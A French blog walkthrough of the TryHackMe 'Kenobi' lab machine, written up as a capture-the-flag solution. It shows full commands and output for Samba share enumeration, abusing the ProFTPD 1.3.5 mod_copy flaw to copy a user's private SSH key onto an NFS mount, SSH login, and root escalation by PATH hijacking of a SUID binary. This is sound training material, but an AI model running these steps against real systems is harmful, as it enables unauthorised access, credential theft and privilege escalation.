TryHackMe (ou pas ?! 🤔) - Kenobi

TryHackMe-kenobi-room-image

TryHackMe - Kenobi

Procédure pas à pas sur l'exploitation d'une machine Linux. - Énumérez Samba pour les partages, - manipulez une version vulnérable de proftpd - et augmentez vos privilèges avec la manipulation des variables PATH.

Cette salle couvre l'accès à un partage Samba, la manipulation d'une version vulnérable de proftpd pour obtenir un accès initial et élever ses privilèges à root via un binaire SUID et la manipulation des variables PATH.

  • Niveau : facile
  • Lien de la salle (EN) : TryHackMe | Kenobi
  • Addresse IP utilisée : {REMOTE_IP}
Sommaire

Task 1 - Deploy the vulnerable machine

Make sure you're connected to our network and deploy the machine

No answer needed

Scan the machine with nmap, how many ports are open?

On cherche à connaître le nombre total de ports, donc on lance nmapavec l'option -p-. -A est un raccourci pour plusieurs options intéressantes (OS/version detection, scripts and traceroute), qui nous donneront déjà un certain nombre de réponses aux questions qui suivent.

nmap -A -p- -T5 -oN nmap.txt -vv {REMOTE_IP}
# Nmap 7.93 scan initiated Fri Jan 20 21:14:05 2023 as: nmap -A -p- -T5 -oN nmap.txt -vv {REMOTE_IP}
Warning: {REMOTE_IP} giving up on port because retransmission cap hit (2).
Nmap scan report for {REMOTE_IP}
Host is up, received syn-ack (0.065s latency).
Scanned at 2023-01-20 21:14:05 CET for 247s
Not shown: 61277 closed tcp ports (conn-refused), 4248 filtered tcp ports (no-response)
PORT      STATE SERVICE     REASON  VERSION
21/tcp    open  ftp         syn-ack ProFTPD 1.3.5
22/tcp    open  ssh         syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3ad834149e95d168d3b0f057be2c0ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8m00IxH/X5gfu6Cryqi5Ti2TKUSpqgmhreJsfLL8uBJrGAKQApxZ0lq2rKplqVMs+xwlGTuHNZBVeURqvOe9MmkMUOh4ZIXZJ9KNaBoJb27fXIvsS6sgPxSUuaeoWxutGwHHCDUbtqHuMAoSE2Nwl8G+VPc2DbbtSXcpu5c14HUzktDmsnfJo/5TFiRuYR0uqH8oDl6Zy3JSnbYe/QY+AfTpr1q7BDV85b6xP97/1WUTCw54CKUTV25Yc5h615EwQOMPwox94+48JVmgE00T4ARC3l6YWibqY6a5E8BU+fksse35fFCwJhJEk6xplDkeauKklmVqeMysMWdiAQtDj
|   256 f8277d642997e6f865546522f7c81d8a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBpJvoJrIaQeGsbHE9vuz4iUyrUahyfHhN7wq9z3uce9F+Cdeme1O+vIfBkmjQJKWZ3vmezLSebtW3VRxKKH3n8=
|   256 5a06edebb6567e4c01ddeabcbafa3379 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGB22m99Wlybun7o/h9e6Ea/9kHMT0Dz2GqSodFqIWDi
80/tcp    open  http        syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp   open  rpcbind     syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      44655/udp   mountd
|   100005  1,2,3      45981/tcp   mountd
|   100005  1,2,3      48297/udp6  mountd
|   100005  1,2,3      57393/tcp6  mountd
|   100021  1,3,4      34783/tcp6  nlockmgr
|   100021  1,3,4      45612/udp   nlockmgr
|   100021  1,3,4      46603/tcp   nlockmgr
|   100021  1,3,4      50684/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     syn-ack 2-3 (RPC #100227)
45981/tcp open  mountd      syn-ack 1-3 (RPC #100005)
46603/tcp open  nlockmgr    syn-ack 1-4 (RPC #100021)
59179/tcp open  mountd      syn-ack 1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| Names:
|   KENOBI<00>           Flags: <unique><active>
|   KENOBI<03>           Flags: <unique><active>
|   KENOBI<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   0000000000000000000000000000000000
|   0000000000000000000000000000000000
|_  0000000000000000000000000000
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 8957/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 44611/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 48858/udp): CLEAN (Failed to receive data)
|   Check 4 (port 20413/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2023-01-20T14:18:09-06:00
| smb2-time: 
|   date: 2023-01-20T20:18:09
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h59m59s, deviation: 3h27m51s, median: -1s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 20 21:18:12 2023 -- 1 IP address (1 host up) scanned in 247.24 seconds

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

Je compte 10 services mais la réponse possible est entre 1 et 9, j'ai dû loupé un truc... 🤔

Réponse acceptée : 7

Task 2 - Enumerating Samba for shares

Samba est la suite standard de programmes d'interopérabilité de Windows pour Linux et Unix. Il permet aux utilisateurs finaux d'accéder et d'utiliser des fichiers, des imprimantes et d'autres ressources couramment partagées sur l'intranet d'une entreprise ou sur Internet. Il est souvent appelé système de fichiers réseau.

Samba est basé sur le protocole client/serveur commun de Server Message Block (SMB). SMB est développé uniquement pour Windows, sans Samba, les autres plates-formes informatiques seraient isolées des machines Windows, même si elles faisaient partie du même réseau.

En utilisant nmap, nous pouvons énumérer une machine pour les partages SMB.

Nmap a la capacité d'exécuter automatiquement une grande variété de scripts sur le reseau. Il existe un script pour énumérer les partages SMB :

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse {REMOTE_IP}

Précisions sur la commande ci-dessus :

  • Pour connaître le nom du(des) script(s) à utiliser, il suffit de lister les fichiers présents dans /usr/share/nmap/scripts/ ou simplement d'utiliser l'auto completion du terminal.

    nmap-script-autocompletion

  • les scripts sont exécutés sur le port 445 :

    Le service SMB utilise 2 ports : 139 et 445 comme on nous avons pu le confirmer avec nmap :

    PORT      STATE SERVICE     REASON  VERSION
    ...
    139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp   open  netbios-ssn syn-ack Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
    ...
    

    A l'origine SMB prenait en charge le protocole NetBIOS sur TCP (NBT) en utilisant le port 139. Il est encore utilisé par Microsoft pour permettre aux machines Windows de communiquer entre elles sur un même reseau.

    Sur les versions récentes, Windows prend en charge le trafic à l’aide du protocole SMB directement hébergé sur TCP en utilisant le port 445. Cela permet de fonctionner sur internet.

    Si les interfaces hébergées directes et NBT sont activées, les deux méthodes sont essayées en même temps et la première à répondre est utilisée. Ce mécanisme permet à Windows de fonctionner correctement avec les systèmes d’exploitation qui ne prennent pas en charge l’hébergement direct du trafic SMB.

Using the nmap command above, how many shares have been found?

# Nmap 7.93 scan initiated Fri Jan 20 23:48:31 2023 as: nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse -vv -oN nmap-smb-enum.txt {REMOTE_IP}
Nmap scan report for {REMOTE_IP}
Host is up, received syn-ack (0.066s latency).
Scanned at 2023-01-20 23:48:31 CET for 8s

PORT    STATE SERVICE      REASON
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\{REMOTE_IP}\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\{REMOTE_IP}\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\{REMOTE_IP}\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Jan 20 23:48:39 2023 -- 1 IP address (1 host up) scanned in 8.12 seconds

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

On a trouvé 3 dossiers partagés, dont un permet un accès anonyme en lecture/écriture (\\{REMOTE_IP}\anonymous). Les autres (dont le nom se termine par $) correspondent à des identifiants machine.

Réponse : 3

Using your machine, connect to the machines network share. Once you're connected, list the files on the share. What is the file can you see?

Sur les 3 dossiers partagés trouvés, un seul (\\{REMOTE_IP}\anonymous) permet un accès anonyme en lectur/écriture.

On peut utiliser la commande smbclient, généralement installée sur Linux, pour se connecter et inspecter le dossier partagé.

smbclient //<ip>/anonymous

Un prompt avec votre nom d'utilisateur vous demande un mot de passe, passez en appuyant sur Entrer :

Password for [WORKGROUP\chris]:
Try "help" to get a list of possible commands.
smb: \>

Après avoir afficher les commandes disponibles avec la commande help, on peut facilement lister le répertoire courant avec ls :

┌──(chris㉿kali)-[~/TryHackMe/Kenobi]
└─$ smbclient  //{REMOTE_IP}/anonymous
Password for [WORKGROUP\chris]:
Try "help" to get a list of possible commands.
smb: \> help
?              allinfo        altname        archive        backup         
blocksize      cancel         case_sensitive cd             chmod          
chown          close          del            deltree        dir            
du             echo           exit           get            getfacl        
geteas         hardlink       help           history        iosize         
lcd            link           lock           lowercase      ls             
l              mask           md             mget           mkdir          
more           mput           newer          notify         open           
posix          posix_encrypt  posix_open     posix_mkdir    posix_rmdir    
posix_unlink   posix_whoami   print          prompt         put            
pwd            q              queue          quit           readlink       
rd             recurse        reget          rename         reput          
rm             rmdir          showacls       setea          setmode        
scopy          stat           symlink        tar            tarmode        
timeout        translate      unlock         volume         vuid           
wdel           logon          listconnect    showconnect    tcon           
tdis           tid            utimes         logoff         ..             
!              
smb: \> ls
  .                                   D        0  Wed Sep  4 12:49:09 2019
  ..                                  D        0  Wed Sep  4 12:56:07 2019
  log.txt                             N    12237  Wed Sep  4 12:49:09 2019

                9204224 blocks of size 1024. 6877088 blocks available
smb: \> 

⚠️ Spoiler Alert (Cliquer pour afficher quand même)

Réponse : log.txt

You can recursively download the SMB share too. Submit the username and password as nothing.

smbget -R smb://<ip>/anonymous
┌──(chris㉿kali)-[~/TryHackMe/Kenobi/download]
└─$ smbget -R smb://{REMOTE_IP}/anonymous
Password for [chris] connecting to //{REMOTE_IP}/anonymous: 
Using workgroup WORKGROUP, user chris
smb://{REMOTE_IP}/anonymous/log.txt
Downloaded 11.95kB in 3 seconds

Open the file on the share. There is a few interesting things found.

Ouvrez le fichier sur le partage. Il y a quelques choses intéressantes à découvrir.

  • Informations générées pour Kenobi lors de la génération d'une clé SSH pour l'utilisateur kenobi.
  • Informations sur le serveur ProFTPD.
┌──(chris㉿kali)-[~/TryHackMe/Kenobi/download]
└─$ cat log.txt          
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask                           022

[...]

What port is FTP running on?

On peut voir dans le fichier log.txt que ProFTPD semble utiliser le port par défaut (21).

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

Mais c'est surtout confirmé par nmap lors du premier scan :

PORT      STATE SERVICE     REASON  VERSION
21/tcp    open  ftp         syn-ack ProFTPD 1.3.5

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

Réponse : 21

What mount can we see?

Votre scan de port précédent avec nmap a montré que le port 111 exécute le service rpcbind. Il s'agit simplement d'un serveur qui convertit le numéro de programme d'appel de procédure à distance (RPC) en adresses universelles. Lorsqu'un service RPC est démarré, il indique à rpcbind l'adresse à laquelle il écoute et le numéro de programme RPC qu'il est prêt à servir.

Dans notre cas, le port 111 est l'accès à un système de fichiers réseau. Utilisons nmap pour énumérer cela.

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount {REMOTE_IP}

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

┌──(chris㉿kali)-[~/TryHackMe/Kenobi/download]
└─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount -oN nmap-nfs.txt {REMOTE_IP}
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-21 00:05 CET
Nmap scan report for {REMOTE_IP}
Host is up (0.069s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

What mount can we see?

Réponse : /var

Task 3 - Gain initial access with ProFtpd

ProFtpd est un serveur FTP gratuit et open-source, compatible avec les systèmes Unix et Windows. Il a également été vulnérable dans des versions précédentes du logiciel.

Obtenons la version de ProFtpd. Utilisez netcat pour vous connecter à la machine sur le port FTP.

What is the version?

On se connecte avec la commande netcat (nc en raccourci) sur le port FTP (21) et la machine nous donne la réponse (mais on le savait déjà grâce à nmap) :

┌──(chris㉿kali)-[~/TryHackMe/Kenobi]
└─$ nc {REMOTE_IP} 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [{REMOTE_IP}]

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

Réponse : 1.3.5

How many exploits are there for the ProFTPd running?

Nous pouvons utiliser searchsploit pour trouver des exploits pour une version particulière du logiciel.

Searchsploit est essentiellement un outil de recherche en ligne de commande pour exploit-db.com.

La commande searchsploit proftpd seule nous retourne beaucoup de résultats (remarque searchsploit n'est pas sensible à la casse). Mais on peut la filtrer facilement pour notre version (1.3.5) avec grep.

searchsploit proftpd |grep "1.3.5"

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

┌──(chris㉿kali)-[~]
└─$ searchsploit proftpd |grep "1.3.5"
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                          | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                            | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                          | linux/remote/36742.txt

Réponse : 4

ProFtpd's mod_copy module exploit

Vous devriez avoir trouvé un exploit du module mod_copy de ProFtpd.

Le module mod_copy implémente les commandes SITE CPFR et SITE CPTO, qui peuvent être utilisées pour copier des fichiers/répertoires d'un endroit à un autre sur le serveur. Tout client non authentifié peut utiliser ces commandes pour copier des fichiers de n'importe quelle partie du système de fichiers vers une destination choisie.

Nous savons que le service FTP s'exécute en tant qu'utilisateur Kenobi (à partir du fichier sur le partage) et qu'une clé ssh est générée pour cet utilisateur.

No answer needed

Copy Kenobi's private key using SITE CPFR and SITE CPTO commands.

Nous allons maintenant copier la clé privée de Kenobi en utilisant les commandes SITE CPFR et SITE CPTO. Nous savions que le répertoire /var était un montage accessible en lecture (tâche 2, question 4). Nous avons donc déplacé la clé privée de Kenobi dans le répertoire /var/tmp.

SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
┌──(chris㉿kali)-[~/TryHackMe/Kenobi]
└─$ nc {REMOTE_IP} 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [{REMOTE_IP}]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

No answer needed

Mount the /var/tmp directory to our machine

Montage du répertoire distant /var/tmp sur notre machine :

mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
┌──(root💀kali)-[~]
└─# mkdir /mnt/kenobiNFS

┌──(root💀kali)-[~]
└─# mount {REMOTE_IP}:/var /mnt/kenobiNFS

┌──(root💀kali)-[~]
└─# ls -ahl /mnt/kenobiNFS
total 56K
drwxr-xr-x 14 root root  4.0K Sep  4  2019 .
drwxr-xr-x  3 root root  4.0K Jan 21 15:12 ..
drwxr-xr-x  2 root root  4.0K Sep  4  2019 backups
drwxr-xr-x  9 root root  4.0K Sep  4  2019 cache
drwxrwxrwt  2 root root  4.0K Sep  4  2019 crash
drwxr-xr-x 40 root root  4.0K Sep  4  2019 lib
drwxrwsr-x  2 root staff 4.0K Apr 12  2016 local
lrwxrwxrwx  1 root root     9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root tss   4.0K Sep  4  2019 log
drwxrwsr-x  2 root mail  4.0K Feb 27  2019 mail
drwxr-xr-x  2 root root  4.0K Feb 27  2019 opt
lrwxrwxrwx  1 root root     4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root  4.0K Jan 30  2019 snap
drwxr-xr-x  5 root root  4.0K Sep  4  2019 spool
drwxrwxrwt  6 root root  4.0K Jan 21 15:09 tmp
drwxr-xr-x  3 root root  4.0K Sep  4  2019 www

Nous avons maintenant un montage réseau sur notre machine déployée ! Nous pouvons aller sur /var/tmp et obtenir la clé privée puis nous connecter au compte de Kenobi.

┌──(root💀kali)-[/.../TryHackMe/Kenobi/download]
└─# cp /mnt/kenobiNFS/tmp/id_rsa .

On peut unmounter le répertoire :

┌──(root💀kali)-[/home/chris/TryHackMe/Kenobi/download]
└─# umount /mnt/kenobiNFS

What is Kenobi's user flag (/home/kenobi/user.txt)?

On se connecte en SSH avec la clé pour découvrir le flag :

┌──(chris㉿kali)-[~/TryHackMe/Kenobi/download]
└─$ ssh -i id_rsa kenobi@{REMOTE_IP}                               
The authenticity of host '{REMOTE_IP} ({REMOTE_IP})' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '{REMOTE_IP}' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ uname -a
Linux kenobi 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ ls -Ahl
total 32K
lrwxrwxrwx 1 root   root      9 Sep  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 kenobi kenobi  220 Sep  4  2019 .bash_logout
-rw-r--r-- 1 kenobi kenobi 3.7K Sep  4  2019 .bashrc
drwx------ 2 kenobi kenobi 4.0K Sep  4  2019 .cache
-rw-r--r-- 1 kenobi kenobi  655 Sep  4  2019 .profile
drwxr-xr-x 2 kenobi kenobi 4.0K Sep  4  2019 share
drwx------ 2 kenobi kenobi 4.0K Sep  4  2019 .ssh
-rw-rw-r-- 1 kenobi kenobi   33 Sep  4  2019 user.txt
-rw------- 1 kenobi kenobi  642 Sep  4  2019 .viminfo
kenobi@kenobi:~$ cat user.txt 
{REDACTED}

Task 4 - Privilege Escalation with Path Variable Manipulation

Les bits SUID peuvent être dangereux, certains fichiers binaires tels que passwd doivent être exécutés avec des privilèges élevés (comme la réinitialisation de votre mot de passe sur le système), mais d'autres fichiers personnalisés peuvent avoir le bit SUID et peuvent entraîner toutes sortes de problèmes.

Pour rechercher ce type de fichiers dans un système, exécutez la commande suivante :

find / -perm -u=s -type f 2>/dev/null

Search for binary with SUID bits. What file looks particularly out of the ordinary?

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
kenobi@kenobi:~$ 

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

Le seul binaire inconnu qui correspond au pattern de la réponse est /usr/bin/menu.

kenobi@kenobi:~$ file /usr/bin/menu
/usr/bin/menu: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0928a845a7eef506cb3bb698377bf15bfd0dcb47, not stripped

Réponse : /usr/bin/menu

Run the binary, how many options appear?

kenobi@kenobi:~$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :

Essayons avec 1 :

kenobi@kenobi:~$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Sat, 21 Jan 2023 14:44:44 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

#!/usr/bin/spoiler-alert ⚠️ Spoiler Alert (Cliquer pour afficher quand même)

Réponse : 3

Extract infos with strings

Strings est une commande sous Linux qui recherche des chaînes lisibles par l'homme sur un binaire.

kenobi@kenobi:~$ strings /usr/bin/menu 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
__stack_chk_fail
printf
system
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
UH-`
AWAVA
AUATL
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
[...]
kenobi@kenobi:~$ 

Cela nous montre que les binaires s'exécutent sans chemin complet (par exemple, sans utiliser /usr/bin/curl ou /usr/bin/uname, ...).

curl -I localhost
uname -r
ifconfig

Exploit SUID + PATH

Comme ce fichier s'exécute avec les privilèges des utilisateurs root, nous pouvons manipuler notre chemin pour obtenir un shell root.

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

Dans l'exemple précédent, nous avons copié le shell /bin/sh, l'avons appelé curl, lui avons donné les autorisations correctes, puis avons placé son emplacement dans notre ($PATH). Cela signifiait que lorsque le binaire /usr/bin/menu était exécuté, il utilisait notre variable path pour trouver le binaire "curl". Ce qui est en fait une version de /usr/sh, ainsi que ce fichier exécuté en tant que root it exécute notre shell en tant que root !

What is the root flag (/root/root.txt)?

Après m'être assuré que bash est disponible, je remplace ici /bin/sh par /bin/bash et exécute le script.

kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/bash > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:/tmp# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
root@kenobi:/tmp# cd /root/
root@kenobi:/root# ls
root.txt
root@kenobi:/root# cat root.txt 
{REDACTED}
root@kenobi:/root# 

Sources et références


Partager cet article ...OU NE PAS.?
Commentaires 0


    Laisser un commentaire
    Les nouveaux commentaires ne sont pas acceptés.
    Bonjour, H o l a, H e l l o, a l l, t h e W o r l d ( a n d L i f e :)